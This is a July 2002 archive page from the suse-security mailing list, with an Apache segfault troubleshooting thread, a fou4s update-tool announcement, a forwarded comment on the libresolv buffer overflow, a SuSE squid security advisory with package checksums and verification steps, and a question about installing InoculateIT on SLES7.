Hi Armin, thanks, you are right. I was in vacancies and didn't read all the secure mails until now. My problem is now solved really quick, many thanks for this info. Regards Ruediger Armin Schöch wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > Hi Rüdiger ! > > >>After I have done the last security update from 18 June to apache >>1.3.19-115 I am not able to start the webserver with the mod_ssl and/or >>mod_php (mod_php is for version php3). It is only possible to start the >>webserver with "httpd -f /etc/httpd/httpd.conf" . >>If I start the server with "/sbin/init.d/apache start" it seemed to be >>OK until I do a request to the webserver: Then I got the message in the >>apache-error-log: "[Mon Jul 8 18:32:50 2002] [notice] child pid 9736 >>exit signal Segmentation fault (11)" and nothing happens in my browser! >>The same thing happens if I start the server with "httpd -f >>/etc/httpd/httpd.conf -D SSL". >> > > This has been discussed on this list last week. Have a look at the > archives at: > http://lists.suse.com/ > > Short summary: > There has been an update for a number of apache modules in april. > Install the newest versions of the modules from the SuSE FTP-server > and you should be fine. > > HTH, > Armin > > - -- > Am Hasenberg 26 office: Institut für Atmosphärenphysik > D-18209 Bad Doberan Schloss-Straße 6 > Tel. ++49-(0)38203/42137 D-18225 Kühlungsborn / GERMANY > Email: schoech(a)iap-kborn.de Tel. +49-(0)38293-68-102 > WWW: http://armins.cjb.net/ Fax. +49-(0)38293-68-50 > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: Weitere Infos: siehe http://www.gnupg.org > > iD8DBQE9KeSlG8Xv4GxznLoRAu+KAKCporlZejqCyOnR7b8MLC/60vMcDgCgrfVB > xyrTedaGQBBVL2VsVcpy4FM= > =JlJh > -----END PGP SIGNATURE----- > > > > >

1 0

Re: [suse-security] apache do not start after upd
by Oliver Bleutgen 09 Jul '02

09 Jul '02

> Hi list, > I have a strange problem with apache 1.3.19 running on SuSE7.0: > After I have done the last security update from 18 June to apache > 1.3.19-115 I am not able to start the webserver with the mod_ssl and/or > mod_php (mod_php is for version php3). It is only possible to start the > webserver with "httpd -f /etc/httpd/httpd.conf" . > If I start the server with "/sbin/init.d/apache start" it seemed to be > OK until I do a request to the webserver: Then I got the message in the > apache-error-log: "[Mon Jul 8 18:32:50 2002] [notice] child pid 9736 > exit signal Segmentation fault (11)" and nothing happens in my browser! > The same thing happens if I start the server with "httpd -f > /etc/httpd/httpd.conf -D SSL". > If I try to start the server with the option "-D PHP" I got a message > "sqlinit: DBROOT must be set !!!" But the DBROOT is set! And the server > didn't start. > Anybody there who had the same problem and could help me? > Is it perhaps the php-modul which isn't supported anylonger? I need this > machine running php3 not php4 ! Ruediger, have you updated the mod_php etc. packages from 28.April 2001? See http://www.suse.de/de/support/download/updates/70_i386.html If not, do it and try again (with /sbin/init.d/apache start). This will solve the problem with the segfaults, and therefore maybe everything else is no issue anymore. cf. the thread "Apache upgrade from SuSE?" cheer

1 0

Fou4s 0.6.1
by Markus Gaugusch 09 Jul '02

09 Jul '02

The latest version of my alternative to YaST OnlineUpdate contains some important fixes: * version numbers with capital letters are compared correctly now (fixes Squid update on SuSE 8.0!!) * Option -f for installing additional RPMs works again * Version numbers with different length (KDE update 3.0 - 3.0.1) are compared correctly now If you want to do beta testing of my upcoming version 0.7.0, please visit http://fou4s.gaugusch.at/ and download it! Of course, the current fou4s version can also be found there. Current users can use fou4s -u --checkfou4s && fou4s -i to get the lastest version automatically. regards, Markus Gaugusch -- __________________ /"\ Markus Gaugusch \ / ASCII Ribbon Campaign markus(a)gaugusch.at X Against HTML Mail / \

1 0

FW: comments on libresolv buffer overflow
by Reckhard, Tobias 09 Jul '02

09 Jul '02

Hi all I'm forwarding this from the DNS mailing list, as I believe it is of general interest. Please excuse Lookout's lame quoting. Cheers Tobias > -----Original Message----- > From: D. J. Bernstein [mailto:djb@cr.yp.to] > Sent: Monday, July 08, 2002 19:12 > To: dns(a)list.cr.yp.to > Subject: comments on libresolv buffer overflow > > > I sent the following statement to CERT for the vendor section of their > online advisory. > > ---D. J. Bernstein, Associate Professor, Department of Mathematics, > Statistics, and Computer Science, University of Illinois at Chicago > > > > djbdns does not have these bugs. djbdns has never used any > BIND-derived > code. djbdns, including the djbdns client library, is covered > by a $500 > security guarantee. The djbdns client library is free for use by other > packages in place of BIND's libresolv. See > http://cr.yp.to/djbdns.html. > > Elsewhere in this advisory, CERT and the BIND company suggest that > administrators do not need to rush to upgrade their libresolv-based > clients if they are using BIND 9 caches. The idea is that (1) BIND 9 > caches never put CNAME records into the answer section of a DNS packet > except at the top and (2) the BIND company believes that > these libresolv > bugs cannot be triggered by answer sections with all CNAME records at > the top. > > dnscache, the caching component of djbdns, is like the BIND 9 cache in > all relevant respects. Specifically, it never puts CNAME records into > the answer section except at the top. (This is the normal behavior for > DNS caches; BIND 4 and BIND 8 are abnormal.) > > However, it is simply not true that clients are protected by caches. > Attackers can send unusual packets directly to clients, using the same > well-known techniques used to selectively forge DNS > responses. I do not > endorse the suggestion of relying on caches (whether BIND 9 > or dnscache) > as a ``solution'' to the libresolv bugs. All libresolv-based clients > must be upgraded immediately. > > There are exceptions. Sites that use a local dnscache on > every machine, > with local firewalls preventing forgery of 127.0.0.1 and with proper > IP-address checks in client libraries, are immune to cache-to-client > packet forgery, as are sites that use IPSEC. However, even at those > sites, libresolv-based clients should be upgraded immediately; the > ability of the cache to take control of client programs, rather than > simply providing DNS data, is a violation of standard security policy. >

1 0

SuSE Security Announcement: squid (SuSE-SA:2002:025)
by Roman Drahtmueller 09 Jul '02

09 Jul '02

-----BEGIN PGP SIGNED MESSAGE----- ______________________________________________________________________________ SuSE Security Announcement Package: squid Announcement-ID: SuSE-SA:2002:025 Date: Tuesday, Jul 9th 2002 01:30 MEST Affected products: 6.4, 7.0, 7.1, 7.2, 7.3, 8.0 SuSE Linux Connectivity Server SuSE Linux Enterprise Server Vulnerability Type: possible remote code execution Severity (1-10): 6 SuSE default package: no Content of this advisory: 1) security vulnerability resolved: squid problem description, discussion, solution and upgrade information 2) pending vulnerabilities, solutions, workarounds 3) standard appendix (further information) ______________________________________________________________________________ 1) problem description, brief discussion, solution, upgrade information squid is a web proxy cache contained but not installed and activated by default on SuSE products. Several security related bugs have been found in all squid packages contained in SuSE products. These bugs are being fixed in our update packages and cover modifications in the gopher client code, the FTP directory listing parser that generates HTML output, FTP protocol sanity checks concerning server address comparison between control and data connection, in the MSNT auth helper as well as in proxy authentication forwarding code. Our update packages also contain non-security relevant additions as suggested by the squid developers. The severity of the errors in the package range from harmless to critical. The gopher client bugs as well as the bug in the FTP directory parsing code are believed to be exploitable in the sense of being able to remotely execute code introduced by the attacker. The bug in the MSNT auth helper does not affect our binary packages because the feature is not activated at compile time. While Olaf Kirch (SuSE Security) has found and also fixed parts of the bugs, SuSE Security has not verified the claim about the remote exploitability to execute code, though. For more information about the squid web proxy and first-hand information about the security problems found, please see the project's website at http://www.squid-cache.org/. A brief note about the package names in the distributions: All SuSE Linux distributions contain two squid packages. The names are squid2 and squid23 for SuSE Linux 6.4 through 7.1, and squid and squid-beta for all newer distributions. The squid-beta package on SuSE Linux 8.0 is unaffected. To find out which version of the squid package you are using, use the command rpm -qf `which squid` Please download the update package for your distribution and verify its integrity by the methods listed in section 3) of this announcement. Then, install the package using the command "rpm -Fhv file.rpm" to apply the update. After applying the rpm command for the update, you should restart the squid daemon process for the update to become effective: rcsquid stop ; sleep 10; rcsquid start Our maintenance customers have been notified individually. The packages are being offered to install from the maintenance web. i386 Intel Platform: SuSE-8.0 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/squid-2.4.STABLE6-2.i386.rpm 01f5c698e0418e6055e9ed1018493380 ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/squid-2.4.STABLE6-9.i386.pat… 917c26da9c444085d045b708548eae3e ftp://ftp.suse.com/pub/suse/i386/update/8.0/n2/squid-2.4.STABLE6-9.i386.rpm fa4780901f96712ea22eef28bdf53700 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/8.0/zq1/squid-2.4.STABLE6-9.src.rpm dc96baf5541829ee6e615861d17146aa SuSE-7.3 ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/squid-2.3.STABLE4-162.i386.r… 86df1f5a50ed65cd038d9cc2b2782f9b ftp://ftp.suse.com/pub/suse/i386/update/7.3/n2/squid-beta-2.4.STABLE2-99.i3… 4d1462ec0691eb0b6572b67064d5899b source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/squid-2.3.STABLE4-162.src.r… ab61356851ac840d427f1ffd94ff6d14 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.3/zq1/squid-beta-2.4.STABLE2-99.s… c75a0693b587827017fd7f7b6f387d43 SuSE-7.2 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/squid-2.3.STABLE4-162.i386.r… 0eb805295d26ae7a634e70248536f743 ftp://ftp.suse.com/pub/suse/i386/update/7.2/n2/squid-beta-2.4.STABLE1-105.i… 7c710d4080457b90c90c9641ceb27923 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/squid-2.3.STABLE4-162.src.r… 9e2d0f0a81d3231bb36efce6eb09b806 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.2/zq1/squid-beta-2.4.STABLE1-105.… f6a59ea75478277a5cf1eaa45308e2db SuSE-7.1 ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/squid2-2.2.STABLE5-224.i386.… 458c23172bd607c2e1b64bcca668743f ftp://ftp.suse.com/pub/suse/i386/update/7.1/n2/squid23-2.3.STABLE4-82.i386.… aef3ece720951def7e22cdd28b65782a source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/squid2-2.2.STABLE5-224.src.… 66edc4b69aa84aecfe33efef5589611e source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.1/zq1/squid23-2.3.STABLE4-82.src.… 7c01a574da94df5b72b864a1648021d3 SuSE-7.0 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/squid2-2.2.STABLE5-223.i386.… 05603a978583210b281ab4860fef6f00 ftp://ftp.suse.com/pub/suse/i386/update/7.0/n1/squid23-2.3.STABLE4-81.i386.… ae208d4e4896f8092f122a2e79f472f3 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/squid2-2.2.STABLE5-223.src.… 11d569d72642b2a4414b0c35a87a0bd1 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/7.0/zq1/squid23-2.3.STABLE4-81.src.… 990b507d6c8ea50f10ba7fe6b218bcfb SuSE-6.4 ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/squid2-2.2.STABLE5-223.i386.… 56dc0b40ae95bce1e49c1758920debd0 ftp://ftp.suse.com/pub/suse/i386/update/6.4/n1/squid23-2.3.STABLE4-81.i386.… 907f05e3be9012003a8d6fbce866b8c5 source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/squid2-2.2.STABLE5-223.src.… 2e8655ca0fbdd53f45c64990de92697e source rpm: ftp://ftp.suse.com/pub/suse/i386/update/6.4/zq1/squid23-2.3.STABLE4-81.src.… 58e1d68d8e5dc8dbcc9d53446436e077 Sparc Platform: SuSE-7.3 ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/squid-2.3.STABLE4-57.sparc.… fe3040600c6f08394db78a73d435475b ftp://ftp.suse.com/pub/suse/sparc/update/7.3/n2/squid-beta-2.4.STABLE2-27.s… f0e296889bcc571da9a35cd02d6efd9c source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/squid-2.3.STABLE4-57.src.r… dfbc5f10d9993d299b420d1787b14c0b source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.3/zq1/squid-beta-2.4.STABLE2-27.… dc6ff79b6e48821b81b1d53a837fe88c SuSE-7.1 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/squid2-2.2.STABLE5-210.spar… 6fc7ded2b633825957959cd0a373c4d2 ftp://ftp.suse.com/pub/suse/sparc/update/7.1/n2/squid23-2.3.STABLE4-63.spar… 43693ee6312ce6f178baeb50340d8639 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/squid2-2.2.STABLE5-210.src… 5cae476344a776ce50a1a1805ef4ffcc source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.1/zq1/squid23-2.3.STABLE4-63.src… 65fdf61f12b9c4ec5c91857c3af76497 SuSE-7.0 ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/squid2-2.2.STABLE5-210.spar… e928951c8d068e982bb00b50472d716d ftp://ftp.suse.com/pub/suse/sparc/update/7.0/n1/squid23-2.3.STABLE4-63.spar… cafe9565d1021f69ee31636d8d854457 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/squid2-2.2.STABLE5-210.src… ebd9c000ab1da0db1ea99998b3f0cf15 source rpm: ftp://ftp.suse.com/pub/suse/sparc/update/7.0/zq1/squid23-2.3.STABLE4-63.src… 149927211efa4c2419eed6b000859689 AXP Alpha Platform: SuSE-7.1 ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/squid2-2.2.STABLE5-230.alpha.… 4df2821b296d2cd980b516a690b9a1bd ftp://ftp.suse.com/pub/suse/axp/update/7.1/n2/squid23-2.3.STABLE4-80.alpha.… a01625b4b191f84fff32e38c8d336fac source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/squid2-2.2.STABLE5-230.src.r… 9deaebb24e5dfbe5f20a5488c279458e source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.1/zq1/squid23-2.3.STABLE4-80.src.r… 2ec1d32a64dbdb0a15d892dd622c091a SuSE-7.0 ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/squid2-2.2.STABLE5-230.alpha.… 73b3f402a7f50ccb6ac9045da87b1c40 ftp://ftp.suse.com/pub/suse/axp/update/7.0/n1/squid23-2.3.STABLE4-79.alpha.… 6938b75054e93f2ec1520e0b3b093790 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/squid2-2.2.STABLE5-230.src.r… ddef84a2c1c430d341c1b8e8ae1a0d77 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/7.0/zq1/squid23-2.3.STABLE4-79.src.r… faaf272a46f39ebc0d6956cb8b508395 SuSE-6.4 ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/squid2-2.2.STABLE5-230.alpha.… d308089c0b35b812a6bece1b612bd171 ftp://ftp.suse.com/pub/suse/axp/update/6.4/n1/squid23-2.3.STABLE4-78.alpha.… a2446410ef8fd3b0832394bc52cae927 source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/squid2-2.2.STABLE5-230.src.r… 2a0837f760ec3262268645a5d1dd99ce source rpm: ftp://ftp.suse.com/pub/suse/axp/update/6.4/zq1/squid23-2.3.STABLE4-78.src.r… 01d07096af26e19aecf35ae29fc39f85 PPC Power PC Platform: SuSE-7.3 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/squid-2.3.STABLE4-77.ppc.rpm 6d84192dfcfa15ec05ee0c1fbf8cc564 ftp://ftp.suse.com/pub/suse/ppc/update/7.3/n2/squid-beta-2.4.STABLE2-64.ppc… fde4eea7193755ecb72c8e98006efc83 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/squid-2.3.STABLE4-77.src.rpm 44c07a7d4b37be012c87b1057c38728c source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.3/zq1/squid-beta-2.4.STABLE2-64.sr… 7ca4b1b7a1802bffdffef3b6d5d342a5 SuSE-7.1 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/squid2-2.2.STABLE5-203.ppc.rpm 28b9a3b64fe23408a4bd16031d384b02 ftp://ftp.suse.com/pub/suse/ppc/update/7.1/n2/squid23-2.3.STABLE4-73.ppc.rpm b7a2e5c2a446a2848537fe65362e8cb5 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/squid2-2.2.STABLE5-203.src.r… d0a9141bac8b44f826698b0d90c91d80 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.1/zq1/squid23-2.3.STABLE4-73.src.r… 488f2d67c6a300bca3d06a6cff26988f SuSE-7.0 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/squid2-2.2.STABLE5-202.ppc.rpm 5ef4ef00e866d0efb451334bc12a8db7 ftp://ftp.suse.com/pub/suse/ppc/update/7.0/n1/squid23-2.3.STABLE4-72.ppc.rpm ceba8ae4348b499d75a8798282899fff source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/squid2-2.2.STABLE5-202.src.r… d2a8b8bbc4c93073ddba930b96a0a459 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/7.0/zq1/squid23-2.3.STABLE4-72.src.r… a1e44b9a51d96125e7664a784a1fbce0 SuSE-6.4 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/squid2-2.2.STABLE5-202.ppc.rpm 84afced56c0f0a4502bab69ed6de7cc1 ftp://ftp.suse.com/pub/suse/ppc/update/6.4/n1/squid23-2.3.STABLE4-72.ppc.rpm fe9ce325bb9580f0c8a9804800ac9179 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/squid2-2.2.STABLE5-202.src.r… c1d61ef183dd5b11191f6872852b24e9 source rpm: ftp://ftp.suse.com/pub/suse/ppc/update/6.4/zq1/squid23-2.3.STABLE4-72.src.r… ef6b394d43f64936df30f9ffcd315495 ______________________________________________________________________________ 2) Pending vulnerabilities in SuSE Distributions and Workarounds: - We are investigating if recently found weaknesses in resolver libraries on BSD systems affect the SuSE Linux glibc as well. Also, the resolver code in bind nameserver utilities is under investigation. Further news about the resolver issues is underway. - ghostscript RedHat released a security announcement concerning a problem in ghostscript, which could be exploited to gain privilege of the print server user. We are investigating whether SuSE Linux is affected. ______________________________________________________________________________ 3) standard appendix: authenticity verification, additional information - Package authenticity verification: SuSE update packages are available on many mirror ftp servers all over the world. While this service is being considered valuable and important to the free and open source software community, many users wish to be sure about the origin of the package and its content before installing the package. There are two verification methods that can be used independently from each other to prove the authenticity of a downloaded file or rpm package: 1) md5sums as provided in the (cryptographically signed) announcement. 2) using the internal gpg signatures of the rpm package. 1) execute the command md5sum <name-of-the-file.rpm> after you downloaded the file from a SuSE ftp server or its mirrors. Then, compare the resulting md5sum with the one that is listed in the announcement. Since the announcement containing the checksums is cryptographically signed (usually using the key security(a)suse.de) the checksums show proof of the authenticity of the package. We disrecommend to subscribe to security lists which cause the email message containing the announcement to be modified so that the signature does not match after transport through the mailing list software. Downsides: You must be able to verify the authenticity of the announcement in the first place. If RPM packages are being rebuilt and a new version of a package is published on the ftp server, all md5 sums for the files are useless. 2) rpm package signatures provide an easy way to verify the authenticity of an rpm package. Use the command rpm -v --checksig <file.rpm> to verify the signature of the package, where <file.rpm> is the filename of the rpm package that you have downloaded. Of course, package authenticity verification can only target an uninstalled rpm package file. Prerequisites: a) gpg is installed b) The package is signed using a certain key. The public part of this key must be installed by the gpg program in the directory ~/.gnupg/ under the user's home directory who performs the signature verification (usually root). You can import the key that is used by SuSE in rpm packages for SuSE Linux by saving this announcement to a file ("announcement.txt") and running the command (do "su -" to be root): gpg --batch; gpg < announcement.txt | gpg --import SuSE Linux distributions version 7.1 and thereafter install the key "build(a)suse.de" upon installation or upgrade, provided that the package gpg is installed. The file containing the public key is placed at the toplevel directory of the first CD (pubring.gpg) and at ftp://ftp.suse.com/pub/suse/pubring.gpg-build.suse.de . - SuSE runs two security mailing lists to which any interested party may subscribe: suse-security(a)suse.com - general/linux/SuSE security discussion. All SuSE security announcements are sent to this list. To subscribe, send an email to <suse-security-subscribe(a)suse.com>. suse-security-announce(a)suse.com - SuSE's announce-only mailing list. Only SuSE's security annoucements are sent to this list. To subscribe, send an email to <suse-security-announce-subscribe(a)suse.com>. For general information or the frequently asked questions (faq) send mail to: <suse-security-info(a)suse.com> or <suse-security-faq(a)suse.com> respectively. ===================================================================== SuSE's security contact is <security(a)suse.com> or <security(a)suse.de>. The <security(a)suse.de> public key is listed below. ===================================================================== ______________________________________________________________________________ The information in this advisory may be distributed or reproduced, provided that the advisory is not modified in any way. In particular, it is desired that the cleartext signature shows proof of the authenticity of the text. SuSE GmbH makes no warranties of any kind whatsoever with respect to the information contained in this security advisory. Type Bits/KeyID Date User ID pub 2048R/3D25D3D9 1999-03-06 SuSE Security Team <security(a)suse.de> pub 1024D/9C800ACA 2000-10-19 SuSE Package Signing Key <build(a)suse.de> - -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org 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 DgCfZ5Wj+f7cnYpFZI6GkAyyczG09sE= =LRKC - -----END PGP PUBLIC KEY BLOCK----- Roman Drahtmüller, SuSE Security. - -- - - | Roman Drahtmüller <draht(a)suse.de> // "You don't need eyes to see, | SuSE Linux AG - Security Phone: // you need vision!" | Nürnberg, Germany +49-911-740530 // Maxi Jazz, Faithless | - - -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBPSorNHey5gA9JdPZAQHEqQf8DKFCZto4DXBJjjcJPBdsHjUsGl0QxD9I 56XQsU8s2MdK7Wes+quX0ieudSM867r5vOWTIwh/xkv9iW5M7KFv/Ze496HmUXQZ 9PIprQLl7Ig/R21AUrVHyQ3Xgf6H3S4OM9EpnZCX24B5jTBirsFJCST48okAOHvs JMhtL+rbleLJD2AoqwWabYKxe47AgKG7NAp2fogu46IZo4CXuxbQBlI8eSyfpT47 FrFA1VqNunR9FpdapDXwpdReLX5+4TesWxXcvE/18kMh0rPZfZZ9Kk3/Wyvh8rv6 i0RFF2I7TLRzoa/iQoTfI2xdeAgwQBR8LqoCLBPaD5jqe2Y6+lUkcQ== =eh4F -----END PGP SIGNATURE-----

1 0

Inoculate IT - SLES7
by Tomas Carmen 08 Jul '02

08 Jul '02

Hi list: I want to know if someone have experience with the antivir InoculateIT of CA with SLES7. I am trying to install it but I am getting this error (see bellow), I was trying to jump some SO versions checking in the Ino scripts (gzipes in the package) but it not works, I see that it software its certified for SuSE 7.0 with kernel 2.2.14/16. Any experiences or clues for it. TIA Tomas ******* # ./InoInstall ..... ..... ..... InoculateIT has been detected in /opt/eTrust. The upgrade process replaces your previous ENF Option software, while retaining your existing databases. *********************************************************************** Making sure the product is shut down... CA Event Notification Facility is ready to be unloaded. CA-ENF not supported on this release of OS. Exiting... SetupENF error 30 CAIENF does not support this version of the operating system The CAIENF installation has failed -- error 30. -- Tomas Carmen R. Sinux S.A.C. 